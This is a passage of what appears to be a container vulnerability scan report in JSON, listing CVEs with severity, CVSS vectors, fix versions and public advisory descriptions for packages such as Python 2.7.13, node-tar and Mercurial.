'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2016-4472', 'cvss': 8.1, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H', 'description': 'The overflow protection in Expat is removed by compilers with certain optimization settings, which allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via crafted XML data. NOTE: this vulnerability exists because of an incomplete fix for CVE-2015-1283 and CVE-2015-2716.', 'riskFactors': ['Attack vector: network', 'DoS', 'Has fix', 'High severity', 'Remote execution'], 'publishedDate': '2016-06-30T17:59:00Z'}, {'cveId': 'CVE-2017-20052', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-20052', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'A vulnerability classified as problematic was found in Python 2.7.13. This vulnerability affects unknown code of the component pgAdmin4. The manipulation leads to uncontrolled search path. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.', 'riskFactors': ['High severity', 'Attack complexity: low'], 'publishedDate': '2022-06-16T07:15:00Z'}, {'cveId': 'CVE-2017-20052', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-20052', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'A vulnerability classified as problematic was found in Python 2.7.13. This vulnerability affects unknown code of the component pgAdmin4. The manipulation leads to uncontrolled search path. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.', 'riskFactors': ['Attack complexity: low', 'High severity'], 'publishedDate': '2022-06-16T07:15:00Z'}, {'cveId': 'PRISMA-2022-0039', 'status': 'fixed in 3.0.5', 'severity': 'high', 'packageName': 'minimatch', 'packageVersion': '3.0.4', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'cvss': 7.5, 'vector': None, 'description': "minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\{.*\\\\}/ is vulnerable and can be exploited).", 'riskFactors': ['DoS', 'Has fix', 'High severity'], 'publishedDate': '2022-02-21T09:51:41Z'}, {'cveId': 'CVE-2022-0391', 'status': 'fixed in 3.9.5, 3.8.11, 3.7.11,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-0391', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': "A flaw was found in Python, specifically within the urllib.parse module. This module helps break Uniform Resource Locator (URL) strings into components. The issue involves how the urlparse method does not sanitize input and allows characters like \\'\\r\\' and \\'\\n\\' in the URL path. This flaw allows an attacker to input a crafted URL, leading to injection attacks. This flaw affects Python versions prior to 3.10.0b1, 3.9.5, 3.8.11, 3.7.11 and 3.6.14.", 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2022-02-09T23:15:00Z'}, {'cveId': 'CVE-2021-3807', 'status': 'fixed in 4.1.1', 'severity': 'high', 'packageName': 'ansi-regex', 'packageVersion': '3.0.0', 'link': 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'ansi-regex is vulnerable to Inefficient Regular Expression Complexity', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-09-17T07:15:00Z'}, {'cveId': 'CVE-2021-3807', 'status': 'fixed in 4.1.1', 'severity': 'high', 'packageName': 'ansi-regex', 'packageVersion': '4.1.0', 'link': 'https://github.com/advisories/GHSA-93q8-gq69-wqmw', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'ansi-regex is vulnerable to Inefficient Regular Expression Complexity', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-09-17T07:15:00Z'}, {'cveId': 'CVE-2021-23343', 'status': 'fixed in 1.0.7', 'severity': 'high', 'packageName': 'path-parse', 'packageVersion': '1.0.6', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23343', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.', 'riskFactors': ['Attack vector: network', 'DoS', 'Has fix', 'High severity', 'Recent vulnerability', 'Attack complexity: low'], 'publishedDate': '2021-05-04T00:00:00Z'}, {'cveId': 'CVE-2019-9674', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9674', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'Lib/zipfile.py in Python through 3.7.2 allows remote attackers to cause a denial of service (resource consumption) via a ZIP bomb.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'High severity'], 'publishedDate': '2020-02-04T15:15:00Z'}, {'cveId': 'CVE-2019-5010', 'status': 'fixed in 3.7.3, 3.6.9, 3.5.7,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-5010', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'An exploitable denial-of-service vulnerability exists in the X509 certificate parser of Python.org Python 2.7.11 / 3.6.6. A specially crafted X509 certificate can cause a NULL pointer dereference, resulting in a denial of service. An attacker can initiate or accept TLS connections using crafted certificates to trigger this vulnerability.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2019-10-31T21:15:00Z'}, {'cveId': 'CVE-2019-16056', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16056', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N', 'description': 'An issue was discovered in Python through 2.7.16, 3.x through 3.5.7, 3.6.x through 3.6.9, and 3.7.x through 3.7.4. The email module wrongly parses email addresses that contain multiple @ characters. An application that uses the email module and implements some kind of checks on the From/To headers of a message could be tricked into accepting an email address that should be denied. An attack may be the same as in CVE-2019-11340; however, this CVE applies to Python more generally.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'High severity'], 'publishedDate': '2019-09-06T18:15:00Z'}, {'cveId': 'CVE-2019-15903', 'status': 'fixed in 2.2.8', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-15903', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'In libexpat before 2.2.8, crafted XML input could fool the parser into changing from DTD parsing to document parsing too early; a consecutive call to XML_GetCurrentLineNumber (or XML_GetCurrentColumnNumber) then resulted in a heap-based buffer over-read.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity'], 'publishedDate': '2019-09-04T06:15:00Z'}, {'cveId': 'CVE-2018-14647', 'status': 'open', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-14647', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': "Python\\'s elementtree C accelerator failed to initialise Expat\\'s hash salt during initialization. This could make it easy to conduct denial of service attacks against Expat by constructing an XML document that would cause pathological hash collisions in Expat\\'s internal data structures, consuming large amounts CPU and RAM. The vulnerability exists in Python versions 3.7.0, 3.6.0 through 3.6.6, 3.5.0 through 3.5.6, 3.4.0 through 3.4.9, 2.7.0 through 2.7.15.", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'High severity'], 'publishedDate': '2018-09-25T00:29:00Z'}, {'cveId': 'CVE-2018-13348', 'status': 'fixed in 4.6.1', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-13348', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': 'The mpatch_decode function in mpatch.c in Mercurial before 4.6.1 mishandles certain situations where there should be at least 12 bytes remaining after the current position in the patch data, but actually are not, aka OVE-20180430-0001.', 'riskFactors': ['Attack vector: network', 'Has fix', 'High severity', 'Attack complexity: low'], 'publishedDate': '2018-07-06T00:29:00Z'}, {'cveId': 'CVE-2018-13346', 'status': 'fixed in 4.6.1', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-13346', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': 'The mpatch_apply function in mpatch.c in Mercurial before 4.6.1 incorrectly proceeds in cases where the fragment start is past the end of the original data, aka OVE-20180430-0004.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity'], 'publishedDate': '2018-07-06T00:29:00Z'}, {'cveId': 'CVE-2018-1061', 'status': 'fixed in 2.7.15', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1061', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'python before versions 2.7.15, 3.4.9, 3.5.6rc1, 3.6.5rc1 and 3.7.0 is vulnerable to catastrophic backtracking in the difflib.IS_LINE_JUNK method. An attacker could use this flaw to cause denial of service.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2018-06-19T12:29:00Z'}, {'cveId': 'CVE-2018-1060', 'status': 'fixed in 3.6.5, 3.5.6, 2.7.15', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1060', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': "python before versions 2.7.15, 3.4.9, 3.5.6rc1, 3.6.5rc1 and 3.7.0 is vulnerable to catastrophic backtracking in pop3lib\\'s apop() method. An attacker could use this flaw to cause denial of service.", 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2018-06-18T14:29:00Z'}, {'cveId': 'CVE-2017-9233', 'status': 'fixed in 3.6.2, 3.5.4, 3.4.7,...', 'severity': 'high', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9233', 'cvss': 7.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'XML External Entity vulnerability in libexpat 2.2.0 and earlier (Expat XML Parser Library) allows attackers to put the parser in an infinite loop using a malformed external entity definition from an external DTD.', 'riskFactors': ['High severity', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2017-07-25T20:29:00Z'}, {'cveId': 'CVE-2017-1000115', 'status': 'fixed in 4.3', 'severity': 'high', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000115', 'cvss': 7.5, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': 'Mercurial prior to version 4.3 is vulnerable to a missing symlink check that can malicious repositories to modify files outside the repository', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'High severity'], 'publishedDate': '2017-10-05T01:29:00Z'}, {'cveId': 'CVE-2021-37713', 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-5955-9wpr-37jh', 'cvss': 7, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory. This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\\\path`. If the drive letter does not match the extraction target, for example `D:\\\\extraction\\\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory. Additionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path. This only affects users of `node-tar` on Windows systems. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecate', 'riskFactors': ['Attack complexity: low', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-08-31T17:15:00Z'}, {'cveId': 'CVE-2021-37712', 'status': 'fixed in 6.1.9, 5.0.10, 4.4.18', 'severity': 'high', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/advisories/GHSA-qq89-hq3f-393p', 'cvss': 7, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 \\"short path\\" counterparts. A specially crafted tar archive could thus include a directory with one form of the path, followed by a symbolic link with a different string that resolves to the same file system entity, followed by a file using the first form. By first creating a directory, and then replacing that directory with a symlink that had a different apparent name that resolved to the same entry in the filesystem, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting ', 'riskFactors': ['Attack complexity: low', 'Has fix', 'High severity', 'Recent vulnerability'], 'publishedDate': '2021-08-31T17:15:00Z'}, {'cveId': 'CVE-2021-27290', 'status': 'fixed in 8.0.1, 7.1.1, 6.0.2', 'severity': 'high', 'packageName': 'ssri', 'packageVersion': '6.0.1', 'link': 'https://github.com/advisories/GHSA-vx3p-948g-6vhq', 'cvss': 7, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'description': 'ssri 5.2.2-8.0.0, fixed in 8.0.1, processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.', 'riskFactors': ['Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'High severity'], 'publishedDate': '2021-03-12T22:15:00Z'}, {'cveId': 'CVE-2020-29599', 'status': 'fixed in 8:6.9.10.23+dfsg-2.1+deb10u1', 'severity': 'medium', 'packageName': 'imagemagick', 'packageVersion': '8:6.9.7.4+dfsg-11+deb9u12', 'link': 'https://security-tracker.debian.org/tracker/CVE-2020-29599', 'cvss': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H', 'description': 'ImageMagick before 6.9.11-40 and 7.x before 7.0.10-40 mishandles the -authenticate option, which allows setting a password for password-protected PDF files. The user-controlled password was not properly escaped/sanitized and it was therefore possible to inject additional shell commands via coders/pdf.c.', 'riskFactors': ['Attack complexity: low', 'Has fix', 'Medium severity'], 'publishedDate': '2020-12-07T20:15:00Z'}, {'cveId': 'CVE-2021-3733', 'status': 'fixed in 3.9.5, 3.8.10, 3.7.11,...', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3733', 'cvss': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'description': "There\\'s a flaw in urllib\\'s AbstractBasicAuthHandler class. An attacker who controls a malicious HTTP server that an HTTP client (such as web browser) connects to, could trigger a Regular Expression Denial of Service (ReDOS) during an authentication request with a specially crafted payload that is sent by the server to the client. The greatest threat that this flaw poses is to application availability.", 'riskFactors': ['Medium severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix'], 'publishedDate': '2022-03-10T17:42:00Z'}, {'cveId': 'CVE-2020-8492', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8492', 'cvss': 6.5, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H', 'description': 'Python 2.7 through 2.7.17, 3.5 through 3.5.9, 3.6 through 3.6.10, 3.7 through 3.7.6, and 3.8 through 3.8.1 allows an HTTP server to conduct Regular Expression Denial of Service (ReDoS) attacks against a client because of urllib.request.AbstractBasicAuthHandler catastrophic backtracking.', 'riskFactors': ['DoS', 'Medium severity', 'Attack complexity: low', 'Attack vector: network'], 'publishedDate': '2020-01-30T19:15:00Z'}, {'cveId': 'CVE-2019-9947', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9947', 'cvss': 6.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\r\\n (specifically in the path component of a URL that lacks a ? character) followed by an HTTP header or a Redis command. This is similar to the CVE-2019-9740 query string issue. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Medium severity'], 'publishedDate': '2019-03-23T18:29:00Z'}, {'cveId': 'CVE-2019-9740', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-9740', 'cvss': 6.1, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\r\\n (specifically in the query string after a ? character) followed by an HTTP header or a Redis command. This is fixed in: v2.7.17, v2.7.17rc1, v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1, v3.5.8, v3.5.8rc1, v3.5.8rc2, v3.5.9; v3.6.10, v3.6.10rc1, v3.6.11, v3.6.11rc1, v3.6.12, v3.6.9, v3.6.9rc1; v3.7.4, v3.7.4rc1, v3.7.4rc2, v3.7.5, v3.7.5rc1, v3.7.6, v3.7.6rc1, v3.7.7, v3.7.7rc1, v3.7.8, v3.7.8rc1, v3.7.9.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Medium severity'], 'publishedDate': '2019-03-13T03:29:00Z'}, {'cveId': 'CVE-2019-18348', 'status': 'fixed in 3.8.3, 3.7.8, 3.6.11', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-18348', 'cvss': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'An issue was discovered in urllib2 in Python 2.x through 2.7.17 and urllib in Python 3.x through 3.8.0. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \\r\\n (specifically in the host component of a URL) followed by an HTTP header. This is similar to the CVE-2019-9740 query string issue and the CVE-2019-9947 path string issue. (This is not exploitable when glibc has CVE-2016-10739 fixed.). This is fixed in: v2.7.18, v2.7.18rc1; v3.5.10, v3.5.10rc1; v3.6.11, v3.6.11rc1, v3.6.12; v3.7.8, v3.7.8rc1, v3.7.9; v3.8.3, v3.8.3rc1, v3.8.4, v3.8.4rc1, v3.8.5, v3.8.6, v3.8.6rc1.', 'riskFactors': ['Attack vector: network', 'Has fix', 'Medium severity', 'Attack complexity: low'], 'publishedDate': '2019-10-23T17:15:00Z'}, {'cveId': 'CVE-2019-16935', 'status': 'open', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-16935', 'cvss': 6.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N', 'description': 'The documentation XML-RPC server in Python through 2.7.16, 3.x through 3.6.9, and 3.7.x through 3.7.4 has XSS via the server_title field. This occurs in Lib/DocXMLRPCServer.py in Python 2.x, and in Lib/xmlrpc/server.py in Python 3.x. If set_server_title is called with untrusted input, arbitrary JavaScript can be delivered to clients that visit the http URL for this server.', 'riskFactors': ['Attack vector: network', 'Medium severity', 'Attack complexity: low'], 'publishedDate': '2019-09-28T02:15:00Z'}, {'cveId': 'CVE-2021-23336', 'status': 'fixed in 3.9.2, 3.8.8, 3.7.10,...', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23336', 'cvss': 5.9, 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:H', 'description': 'The package python/cpython from 0 and before 3.6.13, from 3.7.0 and before 3.7.10, from 3.8.0 and before 3.8.8, from 3.9.0 and before 3.9.2 are vulnerable to Web Cache Poisoning via urllib.parse.parse_qsl and urllib.parse.parse_qs by using a vector called parameter cloaking. When the attacker can separate query parameters using a semicolon (;), they can cause a difference in the interpretation of the request between the proxy (running with default configuration) and the server. This can result in malicious requests being cached as completely safe ones, as the proxy would usually not see the semicolon as a separator, and therefore would not include it in a cache key of an unkeyed parameter.', 'riskFactors': ['Attack vector: network', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2021-02-15T13:15:00Z'}, {'cveId': 'CVE-2019-3902', 'status': 'fixed in 4.9', 'severity': 'medium', 'packageName': 'mercurial', 'packageVersion': '4.0', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-3902', 'cvss': 5.9, 'vector': 'CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N', 'description': "A flaw was found in Mercurial before 4.9. It was possible to use symlinks and subrepositories to defeat Mercurial\\'s path-checking logic and write files outside a repository.", 'riskFactors': ['Attack vector: network', 'Has fix', 'Medium severity'], 'publishedDate': '2019-04-22T16:29:00Z'}, {'cveId': 'CVE-2021-3426', 'status': 'fixed in 3.10.0a7, 3.9.3, 3.8.9', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3426', 'cvss': 5.7, 'vector': 'CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N', 'description': "There\\'s a flaw in Python 3\\'s pydoc. A local or adjacent attacker who discovers or is able to convince another local or adjacent user to start a pydoc server could access the server and use it to disclose sensitive information belonging to the other user that they would not normally be able to access. The highest risk of this flaw is to data confidentiality. This flaw affects Python versions before 3.8.9, Python versions before 3.9.3 and Python versions before 3.10.0a7.", 'riskFactors': ['Attack complexity: low', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2021-05-20T13:15:00Z'}, {'cveId': 'CVE-2022-33987', 'status': 'fixed in 12.1.0', 'severity': 'medium', 'packageName': 'got', 'packageVersion': '6.7.1', 'link': 'https://github.com/advisories/GHSA-pfrx-2q88-qq97', 'cvss': 5.3, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N', 'description': 'The got package before 12.1.0 (also fixed in 11.8.5) for Node.js allows a redirect to a UNIX socket.', 'riskFactors': ['Medium severity', 'Recent vulnerability', 'Attack complexity: low', 'Attack vector: network', 'Has fix'], 'publishedDate': '2022-06-18T21:15:00Z'}, {'cveId': 'CVE-2018-20852', 'status': 'fixed in 3.6.9, 3.5.7, 3.4.10', 'severity': 'medium', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-20852', 'cvss': 5.3, 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'description': 'http.cookiejar.DefaultPolicy.domain_return_ok in Lib/http/cookiejar.py in Python before 3.7.3 does not correctly validate the domain: it can be tricked into sending existing cookies to the wrong server. An attacker may abuse this flaw by using a server with a hostname that has another valid hostname as a suffix (e.g., pythonicexample.com to steal cookies for example.com). When a program uses http.cookiejar.DefaultPolicy and tries to do an HTTP connection to an attacker-controlled server, existing cookies can be leaked to the attacker. This affects 2.x through 2.7.16, 3.x before 3.4.10, 3.5.x before 3.5.7, 3.6.x before 3.6.9, and 3.7.x before 3.7.3.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'Has fix', 'Medium severity'], 'publishedDate': '2019-07-13T21:15:00Z'}, {'cveId': 'CVE-2021-23362', 'status': 'fixed in 2.8.9, 3.0.8', 'severity': 'moderate', 'packageName': 'hosted-git-info', 'packageVersion': '2.8.8', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23362', 'cvss': 4, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'description': 'The package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.', 'riskFactors': ['Attack complexity: low', 'Attack vector: network', 'DoS', 'Has fix', 'Medium severity', 'Recent vulnerability'], 'publishedDate': '2021-03-23T17:15:00Z'}, {'cveId': 'CVE-2018-1000030', 'status': 'open', 'severity': 'low', 'packageName': 'python', 'packageVersion': '2.7.13', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000030', 'cvss': 3.6, 'vector': 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:L', 'description': "Python 2.7.14 is vulnerable to a Heap-Buffer-Overflow as well as a Heap-Use-After-Free. Python versions prior to 2.7.14 may also be vulnerable and it appears that Python 2.7.17 and prior may also be vulnerable however this has not been confirmed. The vulnerability lies when multiply threads are handling large amounts of data. In both cases there is essentially a race condition that occurs. For the Heap-Buffer-Overflow, Thread 2 is creating the size for a buffer, but Thread1 is already writing to the buffer without knowing how much to write. So when a large amount of data is being processed, it is very easy to cause memory corruption using a Heap-Buffer-Overflow. As for the Use-After-Free, Thread3->Malloc->Thread1->Free\\'s->Thread2-Re-uses-Free\\'d Memory. The PSRT has stated that this is not a security vulnerability due to the fact that the attacker must be able to run code, however in some situations, such as function as a service, this vulnerability can potentially be used by an attacker to violate a trust boundary, as such the DWF feels this issue deserves a CVE.", 'riskFactors': None, 'publishedDate': '2018-02-08T17:29:00Z'}, {'cveId': 'PRISMA-2021-0096', 'status': 'fixed in 6.1.4', 'severity': 'low', 'packageName': 'tar', 'packageVersion': '4.4.13', 'link': 'https://github.com/npm/node-tar/commit/06cbde5935aa7643f578f874de84a7da2a74fe3a', 'cvss': 3.5, 'vector': None, 'description': 'tar package versions before 6.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from `files` arguments, we were using `f.replace(/\\\\/+$/, \\\'\\\')`, which can get exponentially slow when `f` contains many `/` characters. This is \\"\\"unlikely but theoretically possible\\"\\" because it requires that the user is passing untrusted input into the `tar.extract()` or `tar.list()` array of entries to parse/extract, which would be quite unusual.', 'riskFactors': ['DoS', 'Has fix'], 'publishedDate': '2021-08-30T08:44:48Z'}], 'packages': [{'type': 'os', 'name': 'iproute2', 'version': '4.9.0-1+deb9u1', 'licenses': 